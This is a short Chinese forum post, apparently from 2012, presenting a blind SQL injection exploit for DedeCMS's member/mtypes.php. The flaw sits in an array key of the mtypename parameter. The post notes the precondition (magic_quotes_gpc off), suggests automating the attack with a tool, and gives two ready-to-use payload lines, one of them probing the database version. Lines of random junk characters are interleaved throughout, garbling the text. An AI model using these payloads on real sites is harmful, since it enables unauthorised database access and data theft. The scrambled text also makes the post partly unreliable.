需要magic_quotes_gpc = Off,所以说是鸡肋啊.
8 Q: ?. k% m9 g/ k$ f
: }3 D, n K1 n' n! p ' k/ p+ {2 u- V) ~8 S
发生在数组key里的注射漏洞,有点意思.. r+ F; K" d9 S+ ^
; K, R9 Z% K' n$ n2 p
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
+ c( R% }1 O9 k3 ^% \) E) I5 { ! z; o6 c2 _ L: v
http://www.xxx.com /dede/member/mtypes.php?dopost=save- z8 w) g3 T) x+ i2 X$ c
C) e( Q: W- R# n3 r B# i9 G' a) @+ y
exploit:, Z: X1 ]6 i6 Q0 _+ E
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
: l; W M* {0 g9 `" y9 Vmtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r( _; |8 [! S) W1 ]) V. ?5 G* M
|
发表于 2012-12-20 08:08:09
收藏
支持
反对